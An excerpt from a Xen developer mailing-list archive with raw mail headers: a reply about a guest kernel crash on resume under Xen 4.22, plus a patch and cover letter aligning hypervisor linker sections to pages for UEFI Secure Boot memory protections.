 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <alZt_boT-hJuVlD6@mail-itl>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1784096165-A82F49EA-DB4903E3/0/0
X-purgate-type: clean
X-purgate-size: 5001

On 14.07.2026 19:12, Marek Marczykowski-GÃ³recki wrote:
> On Fri, Jun 19, 2026 at 01:24:09PM +0200, Marek Marczykowski-GÃ³recki wrote:
>> Hi,
>>
>> I'm continuing testing 4.22 and found this:
>>
>> When a domU is suspended (even without host suspend) it crashes on
>> resume with:
>>
>>     [   24.374629] BUG: kernel NULL pointer dereference, address: 0000000000000020
>>     [   24.374647] #PF: supervisor read access in kernel mode
>>     [   24.374657] #PF: error_code(0x0000) - not-present page
>>     [   24.374668] PGD 0 P4D 0 
>>     [   24.374675] Oops: Oops: 0000 [#1] SMP NOPTI
>>     [   24.374685] CPU: 0 UID: 0 PID: 19 Comm: migration/0 Not tainted 6.18.31-1.qubes.13.fc41.x86_64 #1 PREEMPT(full) 
>>     [   24.374705] Stopper: multi_cpu_stop+0x0/0x140 <- __stop_cpus.constprop.0+0x6f/0xb0
>>     [   24.374723] RIP: 0010:multi_cpu_stop+0x63/0x140
>>     [   24.374734] Code: 49 0f a3 1c 24 41 0f 92 c6 c7 44 24 04 00 00 00 00 31 ed 49 8d 5f 24 eb 2d 41 83 fd 02 74 6e 41 83 fd 03 74 49 f0 ff 0b 75 13 <41> 8b 47 20 41 8b 77 10 83 c0 01 41 89 77 24 41 89 47 20 41 83 fd
>>     [   24.374764] RSP: 0018:ffffc900000abe30 EFLAGS: 00010046
>>     [   24.374775] RAX: 0000000000000000 RBX: ffffc90000a13de4 RCX: 0000000000000404
>>     [   24.374790] RDX: 0000000000000040 RSI: ffffffffffffffff RDI: 0000000000770ef0
>>     [   24.374801] RBP: 0000000000000002 R08: ffffc900000abc80 R09: ffffc900000abc8c
>>     [   24.374813] R10: 0000000000000000 R11: ffff88801e81cdc0 R12: ffffffff81835ac0
>>     [   24.374825] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
>>     [   24.374837] FS:  0000000000000000(0000) GS:ffff88809b369000(0000) knlGS:0000000000000000
>>     [   24.374850] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
>>     [   24.374860] CR2: 0000000000000020 CR3: 000000000d6a2002 CR4: 0000000000770ef0
>>     [   24.374873] PKRU: 00000000
>>     [   24.374877] Call Trace:
>>     [   24.374884]  <TASK>
>>     [   24.374891]  ? __pfx_multi_cpu_stop+0x10/0x10
>>     [   24.374900]  cpu_stopper_thread+0xa3/0x170
>>     [   24.374908]  ? __pfx_smpboot_thread_fn+0x10/0x10
>>     [   24.374917]  smpboot_thread_fn+0xf3/0x220
>>     [   24.374925]  kthread+0xfc/0x240
>>     [   24.374933]  ? __pfx_kthread+0x10/0x10
>>     [   24.374940]  ? __pfx_kthread+0x10/0x10
>>     [   24.374949]  ret_from_fork+0x158/0x170
>>     [   24.374957]  ? __pfx_kthread+0x10/0x10
>>     [   24.374965]  ret_from_fork_asm+0x1a/0x30
>>     [   24.374973]  </TASK>
>>     [   24.374978] Modules linked in: snd_seq_dummy snd_hrtimer snd_seq snd_seq_device snd_timer snd soundcore cfg80211 rfkill vfat fat xenfs binfmt_misc nft_reject_inet nf_reject_ipv4 nf_reject_ipv6 nft_reject nft_ct nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables intel_rapl_msr intel_rapl_common intel_uncore_frequency_common intel_pmc_ssram_telemetry intel_vsec polyval_clmulni ghash_clmulni_intel xen_netfront xen_privcmd xen_gntdev xen_gntalloc xen_blkback xen_evtchn fuse loop nfnetlink ip_tables overlay xen_blkfront
>>     [   24.375064] CR2: 0000000000000020
>>     [   24.375071] ---[ end trace 0000000000000000 ]---
>>     [   24.375080] RIP: 0010:multi_cpu_stop+0x63/0x140
>>     [   24.375089] Code: 49 0f a3 1c 24 41 0f 92 c6 c7 44 24 04 00 00 00 00 31 ed 49 8d 5f 24 eb 2d 41 83 fd 02 74 6e 41 83 fd 03 74 49 f0 ff 0b 75 13 <41> 8b 47 20 41 8b 77 10 83 c0 01 41 89 77 24 41 89 47 20 41 83 fd
>>     [   24.375115] RSP: 0018:ffffc900000abe30 EFLAGS: 00010046
>>     [   24.375124] RAX: 0000000000000000 RBX: ffffc90000a13de4 RCX: 0000000000000404
>>     [   24.375142] RDX: 0000000000000040 RSI: ffffffffffffffff RDI: 0000000000770ef0
>>     [   24.375155] RBP: 0000000000000002 R08: ffffc900000abc80 R09: ffffc900000abc8c
>>     [   24.375170] R10: 0000000000000000 R11: ffff88801e81cdc0 R12: ffffffff81835ac0
>>     [   24.375184] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
>>     [   24.375200] FS:  0000000000000000(0000) GS:ffff88809b369000(0000) knlGS:0000000000000000
>>     [   24.375214] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
>>     [   24.375226] CR2: 0000000000000020 CR3: 000000000d6a2002 CR4: 0000000000770ef0
>>     [   24.375241] PKRU: 00000000
>>     [   24.375247] Kernel panic - not syncing: Fatal exception
>>     [   25.417403] Shutting down cpus with NMI
>>     [   25.417447] Kernel Offset: disabled
>>
>> There is no change on the Linux kernel side (neither dom0 nor domU), the
>> only change is updating Xen 4.19.4 -> 4.22-rc2 (seems to be already
>> broken on -rc1 too). This happens for both HVM and PVH domains. Haven't
>> tried PV domU (but dom0 survives host suspend).
> 
> Any ideas?

Didn't you indicate on Matrix that there's also a kernel version dependency?
Iirc 6.12 doesn't exhibit the issue.

Short of anyone having a good idea from just the data available, perhaps the
next step would be to further limit version ranges on both sides?

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 15 06:22:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 06:22:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362689.1614452 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjt0Y-0001Jj-Rl; Wed, 15 Jul 2026 06:22:14 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362689.1614452; Wed, 15 Jul 2026 06:22:14 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjt0Y-0001Il-NH; Wed, 15 Jul 2026 06:22:14 +0000
Received: by outflank-mailman (input) for mailman id 1362689;
 Wed, 15 Jul 2026 06:22:14 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wjt0Y-0001Gm-4E
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 06:22:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjt0X-00DZpn-HD
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 08:22:13 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a5726fa-e002-0a2a0a5209dd-0a2a450288c0-46
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 08:22:13 +0200
Received: from [209.85.221.49] (helo=mail-wr1-f49.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a572715-6ca4-0a2a45020019-d155dd31e1b3-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 08:22:13 +0200
Received: by mail-wr1-f49.google.com with SMTP id
 ffacd0b85a97d-47de0093c42so1429382f8f.3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 23:22:13 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f4635a63esm14336663f8f.9.2026.07.14.23.22.12
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Tue, 14 Jul 2026 23:22:12 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784096533; x=1784701333; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=pqCnw296qrnwdmXLYDWU2GesaXoLsxGgUNGqF+FPq+0=;
        b=X83jrNlkieOwg4NaW4oBRr71PTdcVvcRdSeaGDbXhhLRD1Oombf2wATCiFEtb5tP22
         N09Nh7+ISnFS2OFFoCQSqG+3ACuRmQYtRB1MOBquZaQj1Tb+Z5wlsZFNAT5riGv/H8v/
         ZlRbTkyzidYI6m4ntLTHzgFOHdO8XiSyR3tE8gIeGqsjl7Ag9TlZfjpxQHAV32PjyHsP
         Mp0Zk70x7wk4u7eOQw7B5OHTPvbJl+EIbh+5UfxeVmW7O1TRfml0ZBrZvJ+1yjbR1m+g
         eaKOgM9TCAxG+T185JNn2vBvY17cCOFpn2w4+130MKIbmQ0XtEOFej9t74dgFooudkZ0
         +M2A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784096533; x=1784701333;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=pqCnw296qrnwdmXLYDWU2GesaXoLsxGgUNGqF+FPq+0=;
        b=aZdI2XrFRUp7C6AGsW5OXCGs9PFNuY4tWO60vckn4gO5olDlMgHO7b8noKa2AphGt4
         HxeZwmdsvkbH4nHZyxtnryLGu6K8Lg40n6DENKfdeY1cqIcIG+F8cHL+1wQ0VNn6UTel
         0AEOg2KmjZ9u5y6fm1PEBDwAoWUuzP3aIjWxC6i6DSXSaP6A7grMffxNC8f8BZy4+Kof
         /EZZ0XTR0SW4QtYnsLTMhrMst8wym+bJu0Kq78mTIWUxS5Pp0k7E1khj6+JbUzTVlG+r
         gwLEzbpgsq0iX9BANkfimXqgsx8W/jx7AaCURIlispAAWkdMX+aRGApb/BrAlm3hwfbd
         TtRQ==
X-Gm-Message-State: AOJu0Yyh1hDO/RXdv3qFUEeKvkTj0g+QwEQDqEDmTX6c1zvLhs4x4JqO
	ijc7AdnJBs5/7LzCBKG2z9JJC0X+48vsu6uTa9q3qnwXHB5whFN+lmjiMzn4FNofHSMGcw==
X-Gm-Gg: AfdE7ckFxCoavS8FZNFFnCmk2696FasclIQd8uaU1c/ODC3KmtBg40puYGbso+YPHAV
	JIMO/anKrqgKdRWKg+u1ctYiwIbXHzLYp0dTot1EedLV1Sz+XiDeoJeMeLWvmWaQFvjX1DNQZ49
	qZFxkUz/0sJCU234sr+XdgTdegB6uNv7J8N3p10G1ERqqRbiCCNT2oobKVHfIfD48CydCLMEzMH
	0dYBNtxYUfUuxtiOl/P/e+oIzABdZbY9kO+K5V0n+tk8IiIjNDt76PiajOhS5Rv8Ajx2TGy87YA
	TK2Oxd64d8Q4qIr+QqXHS8IsuqEabiGzRo8gAoBZhZ8BjfQv+bnE6m03ct5tRSU0d5CWO+mRA/v
	BuI1dl9+eVPwj+qn13uI4r9h6nRgoc+P6AJHllnZsoC9AesgouJWWNPqcuXF39psq4d2XvJLV54
	TboL0oY/d8TkGlc9LdYZiGCJXzI7Z+Y3lf4Fltw37qkXCxtC4QvToHzy4rF0DG0S4wD2gp0W44u
	WxalAQxAM5onOcv17A=
X-Received: by 2002:a5d:5f83:0:b0:44a:be4:d0e4 with SMTP id ffacd0b85a97d-47f2dccb3bemr17034965f8f.25.1784096532832;
        Tue, 14 Jul 2026 23:22:12 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
Subject: [PATCH v8 1/4] Align relevant sections to 4KB
Date: Wed, 15 Jul 2026 07:22:03 +0100
Message-ID: <20260715062206.328049-2-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260715062206.328049-1-frediano.ziglio@citrix.com>
References: <20260715062206.328049-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-720697/1784096533-F14AE2AC-30B94D61/0/0
X-purgate-type: clean
X-purgate-size: 2023

Required by UEFI CA memory mitigation.

It is a requirement for NX_COMPAT so the PE can be loaded with W^X perms
in the pagetables.

NX_COMPAT is a requirement from shim-review,
https://github.com/rhboot/shim-review#do-you-have-the-nx-bit-set-in-your-shim-if-so-is-your-entire-boot-stack-nx-compatible-and-what-testing-have-you-done-to-ensure-such-compatibility

Sections with different permissions must be in separate pages.
In the case of debug sections they are contiguous and have the same
permissions, including the immediately preceding .reloc section, so it's
not an issue if they are not aligned to the page.
Before the .debug sections you could have the .reloc or the SBAT section,
either are permission-compatible.

Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
Acked-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes since v1:
- Change subject.

Changes since v2:
- Improved commit message and subject.

Changes since v3:
- Added Acked-by;
- Improved commit message.

Changes since v4:
- Added missing comment;
- Added Acked-by.
---
 xen/arch/x86/xen.lds.S | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/xen/arch/x86/xen.lds.S b/xen/arch/x86/xen.lds.S
index b9e888e596..8e63cf5bc2 100644
--- a/xen/arch/x86/xen.lds.S
+++ b/xen/arch/x86/xen.lds.S
@@ -162,8 +162,8 @@ SECTIONS
        __note_gnu_build_id_end = .;
   } PHDR(note) PHDR(text)
 #elif defined(BUILD_ID_EFI)
-  /* Workaround bug in binutils < 2.36 */
-  . = ALIGN(32);
+  /* Align to satisfy UEFI CA memory mitigation. */
+  . = ALIGN(PAGE_SIZE);
   DECL_SECTION(.buildid) {
        __note_gnu_build_id_start = .;
        *(.buildid)
@@ -330,6 +330,8 @@ SECTIONS
   __2M_rwdata_end = ALIGN(SECTION_ALIGN);
 
 #ifdef EFI
+  /* Align to satisfy UEFI CA memory mitigation. */
+  . = ALIGN(PAGE_SIZE);
   .reloc ALIGN(4) : {
     __base_relocs_start = .;
     *(.reloc)
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 15 06:22:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 06:22:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362688.1614449 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjt0Y-0001H3-KW; Wed, 15 Jul 2026 06:22:14 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362688.1614449; Wed, 15 Jul 2026 06:22:14 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjt0Y-0001Gw-Gz; Wed, 15 Jul 2026 06:22:14 +0000
Received: by outflank-mailman (input) for mailman id 1362688;
 Wed, 15 Jul 2026 06:22:13 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wjt0X-0001Gk-QH
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 06:22:13 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjt0W-00ABfR-PF
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 08:22:12 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a57270d-5cb7-0a2a0a5109dd-0a2a4503c806-20
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 08:22:12 +0200
Received: from [209.85.221.43] (helo=mail-wr1-f43.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a572714-fae8-0a2a45030019-d155dd2be47e-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 08:22:12 +0200
Received: by mail-wr1-f43.google.com with SMTP id
 ffacd0b85a97d-470174001a0so886575f8f.0
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 23:22:12 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f4635a63esm14336663f8f.9.2026.07.14.23.22.11
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Tue, 14 Jul 2026 23:22:11 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784096532; x=1784701332; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=p8vfQQvPfthJked7PzQi8Vq/zarEDOxULDDF+/38lDs=;
        b=d7ZPz0Du20P7GdeJ/icMsYwV6RZYQvbvxHaqkjOq8jlqqVjl+ZG1C5PlDhb5vStZJY
         Y1wKI0f4YsgrJqHBZxpEwcrHZLU9SNK95KFsK+G5HuGug8mL0ygublQ72gk+t3y9xS+x
         /f7fiS4lxDzdftsz8aTozl8+Fa04w1B9pUUbykrF2WvJkP0IsY8ACsOqO/CkmeM312F5
         0zqi+6wcwzFGuiVufR5TYPbetYhSmLvJAYn0pqvohzTcaq84qREac8SVYwbpZOrlbctU
         zYyY3W+iiVMaBpKn2CkITuGZoqAe05Palq4Mxo7L1YvctN26MwDWlVCP69QAoaNwjxBI
         AZxg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784096532; x=1784701332;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=p8vfQQvPfthJked7PzQi8Vq/zarEDOxULDDF+/38lDs=;
        b=o6OTK553GT7UBYdgEQOccMnOgP5UKEpk6r/7x6qBZAGtDFcm6s3/NuXvE2Cm5/o4rA
         qNJLfDZUd/eJ5eYoBIpD7LTP10BXIm283mzWIuo1zNu+uRQEYhTQhxw+U/uKYMxVgYYv
         AfXdK8mCFmvbMNEUDc6UxDEYmEhM9DCiphVG/Q74l0yT1UcE3+ryrmClzPfXXWi8Z6G/
         XE9RZJDVV6PJ271tYLoV85uGy60VYvN6fL23iqavEwVyBw6jtex6wdOjU+0lmCaT7wgR
         W3MnYeJR5N2dVC44tBaTCT8VG6NkTeS4XdAcOTwwuvsh5WDv4fIgx7FLjfTghupPExr1
         t2HA==
X-Gm-Message-State: AOJu0YzChdclu0I/pjZ9QUD+bZwEXBfWkyomG4b+AZL5y51COsad2szy
	KjCIpLWEEKcJM1bmbJUEcZmby4AXSpWfi5lEyMK0DO8Iv23JjPoyJi0GiH2Kp1nHkwtobw==
X-Gm-Gg: AfdE7ckd/BR8MtHcwJdLjp+Kuz1R5HMRG2e27YjA34Cesi9WV90F/e5SqUTRXlz5RF0
	By02uZW4csnx5HyY1TKl7i+NUkyRmCYeJ67Op/9u5zA8+Eg6Z0VxWXzHcrlsgfNQnx91YvV89BO
	VHnlrHCPmfhABc5yqiokz4mh39euPpZDKRnL31a8rCzgC1hIWOnLCOgFz2S8KhsUFHLj8hOcjB9
	A1GqHKa2hBjva8Q3uAtmdsOi07T/d+/aySUSAT2X70iiZXnGVaq78ygD9UFw4XFOE3Ov7QwtH0R
	YpzPQ3j0kZLI37/wbQv42OT/N8AzaDtvpM8D/L4YlmDpDovnKoX1gbf1jgel3K2zMNIoTL6orZ8
	2TUUG/RQufNqVTb9GFtERmZH2RFcym5iZ/zcZvJpeB8gxUlGzZEPSCBY2VpPHQ3Bku3ZqAApsnS
	J4ZQZAgFYp/VoUuptjC15spn1joIXlAztTLyMJlAXgBSWXhHJGPMBfBOC/pSlEWMDMSHbAw9ALA
	B1DdETtLTfWBqPI9Mo=
X-Received: by 2002:a05:6000:310d:b0:476:6bd4:82b8 with SMTP id ffacd0b85a97d-47f2dc9b84amr18938804f8f.14.1784096531957;
        Tue, 14 Jul 2026 23:22:11 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	"Daniel P. Smith" <dpsmith@apertussolutions.com>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
Subject: [PATCH v8 0/4] Various patches to improve Secure Boot support
Date: Wed, 15 Jul 2026 07:22:02 +0100
Message-ID: <20260715062206.328049-1-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-33051d/1784096532-6D4D74E9-226A559D/0/0
X-purgate-type: clean
X-purgate-size: 1557

These patches improve support for Secure boot.
UEFI CA memory mitigation requires memory pages to be not executable and
writable at the same time. So changing permissions and splitting some section
is required.
Remove multiboot pieces from EFI executable.

Changes since v1:
- improved some comments;
- merged 2 pacthes removing multiboot support in x86 PE;
- removed a patch dealing with SBAT;
- other minor changes (see single patches).

Changes since v2:
- improved some comments.

Changes since v3:
- Added Acked-by;
- Improve commit message.

Changes since v4:
- Messages updates;
- Clean some dependencies cause by code removal;
- Add small commit to remove a possibly unused string.

Changes since v5:
- removed merged commit;
- remove more code/data from xen.efi output.

Changes since v6:
- fix commit message.

Changes since v7:
- added Acked-by, all commit are now acked.

Frediano Ziglio (2):
  Align relevant sections to 4KB
  x86: Split .init section to satisfy UEFI CA memory mitigation

Roger Pau MonnÃ© (2):
  x86/efi: discard multiboot and PVH support for PE binary
  x86/efi: avoid a relocation in efi_arch_post_exit_boot()

 docs/hypervisor-guide/x86/how-xen-boots.rst |  6 -----
 xen/arch/x86/boot/head.S                    |  8 +++----
 xen/arch/x86/efi/efi-boot.h                 |  7 ++++--
 xen/arch/x86/xen.lds.S                      | 25 ++++++++++++---------
 xen/tools/combine_two_binaries.py           |  2 +-
 5 files changed, 25 insertions(+), 23 deletions(-)

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 15 06:22:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 06:22:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362690.1614467 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjt0b-0001hd-5p; Wed, 15 Jul 2026 06:22:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362690.1614467; Wed, 15 Jul 2026 06:22:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjt0b-0001hU-2h; Wed, 15 Jul 2026 06:22:17 +0000
Received: by outflank-mailman (input) for mailman id 1362690;
 Wed, 15 Jul 2026 06:22:15 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wjt0Z-0001XS-HW
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 06:22:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjt0Y-00ABip-UG
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 08:22:14 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a57270d-5cb7-0a2a0a5109dd-0a2a4503c806-40
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 08:22:14 +0200
Received: from [209.85.128.45] (helo=mail-wm1-f45.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a572716-fae8-0a2a45030019-d155802dc801-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 08:22:14 +0200
Received: by mail-wm1-f45.google.com with SMTP id
 5b1f17b1804b1-493c19bad03so44737985e9.2
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 23:22:14 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f4635a63esm14336663f8f.9.2026.07.14.23.22.12
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Tue, 14 Jul 2026 23:22:13 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
